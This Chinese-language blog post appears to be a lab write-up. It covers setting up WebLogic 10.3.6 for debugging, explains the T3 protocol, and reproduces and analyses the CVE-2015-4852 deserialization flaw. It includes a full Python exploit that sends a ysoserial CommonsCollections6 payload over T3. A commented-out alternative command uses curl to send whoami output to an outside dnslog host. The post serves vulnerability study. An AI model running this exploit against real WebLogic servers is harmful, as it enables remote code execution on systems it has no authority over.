环境配置

weblogic下载链接: https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
选择10.3.6的Generic版本下载
本地cmd执行:

1
java -D64 -jar wls1036_generic.jar

这里报错了
image.png
上网查了一下发现路径不能有中文,换个目录,正常安装
image.png
一直下一步就行,安装完会自动运行quickstart
image.png
创建新的weblogic域,这里我会报错在执行/Middleware/wlserver_10.3/common/bin/config.exe的时候无法创建jvm,把jdk版本换成jdk1.7_80重新装一次就好了
一直下一步,配置域的名称和位置
image.png
配置管理员用户名和密码
下一步选择生产模式,jdk选择
下一步选受管服务器、集群和计算机
后面就一直下一步就行

安装完成后进入Middleware\user_projects\domains\base_domain双击运行startWebLogic.cmd,输入刚才填的用户名和密码
访问: http://127.0.0.1:7001/console/login/LoginForm.jsp
image.png

配置debug:
在startWebLogic.cmd文件的前面加上:

1
set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n

双击运行
观察本地9999端口
image.png
IDEA打开wlserver文件夹作为项目,library加入Middleware\wlserver_10.3\server\lib文件夹,新建配置文件
image.png
双击shift,搜WLSServletAdapter,在handle函数下个断点
image.png
运行debug,访问: http://localhost:7001/wls-wsat/CoordinatorPortType
image.png
成功拦截

基础知识

T3协议

它是weblogic独有的一个协议,在weblogic中对rmi的传输就是使用的T3协议
它包含请求头和请求体
eg.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket
import time


def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
while True:
data = sock.recv(1024)
print(data.decode())

if __name__ == "__main__":
ip = "127.0.0.1"
port = 7001
T3Test(ip,port)

wireshark监听本地环回地址127.0.0.1:
image.png

筛选条件: tcp.port==7001
image.png
可以发现返回包里有weblogic的版本信息: 10.3.6.0
关于weblogic的请求体结构,我们参考z_zz_zzz师傅文章(原文链接: http://drops.xmd5.com/static/drops/web-13470.html)的图片:
image.png

img.png

第一个非Java序列化数据是我们的请求头t3 12.2.3 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001,后面的2到7部分数据都是序列化数据,我们只要修改其中一个为恶意数据发给服务端就可以造成反序列化攻击
还有一种攻击方式是将第一部分数据和恶意数据进行拼接

CVE-2015-4852

复现

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import socket
import sys
import struct
import re
import subprocess
import binascii
import time


def get_payload1(gadget, command):
JAR_FILE = 'ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()

def get_payload2(path):
with open(path, "rb") as f:
return f.read()

def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
time.sleep(1)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return
print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)

if __name__ == "__main__":
host = "127.0.0.1"
port = 7001
gadget = "CommonsCollections6" #CommonsCollections1 Jdk7u21
command = "calc"
# command = "curl http://`whoami`.5dhwnx.dnslog.cn"

payload = get_payload1(gadget, command)
#payload=get_payload2('./pay.tmp')
exp(host, port, payload)

这里选的CC6不受jdk版本限制
image.png

注意:

  • 当前文件夹放ysoserial.jar
  • 这里我加入了一句time.sleep(1)是因为python socket 如果是频繁发包,会被服务端所拒绝,第一次recv的内容只有HELO没有后面的内容,if语句过不了会直接return
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    import socket
    import time


    def T3Test(ip,port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
    sock.sendall(handshake.encode())
    # time.sleep(1)
    data = sock.recv(1024)
    print(data.decode())


    if __name__ == "__main__":
    ip = "127.0.0.1"
    port = 7001

    T3Test(ip,port)
    如果注释掉sleep会只返回HELO,不注释就会返回
    1
    2
    3
    HELO:10.3.6.0.false
    AS:2048
    HL:19

关键的数据拼接:

1
2
3
4
5
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度

image.png

分析

这里能调用成功是因为它自带了commons-collections的包
image.png

我们在InboundMsgAbbrev的readObject()方法下断点
image.png
先会调用ServerChannelInputStream的readObject()方法,而且ServerChannelInputStream是继承ObjectInputstream的
然后调用一系列的readObejct:

1
2
3
4
5
.readObject
ObjectInputstream.readObject0
ObjectInputstream.readOrdinary
...
InboundMsgAbbrev的resolveClass

image.png
这里super.resolveClass还是调用了ObjectInputstream.resolveClass
此时的var2就是解析的java.util.hashSet
不断调用这个方法…
image.png
image.png
最后执行命令

参考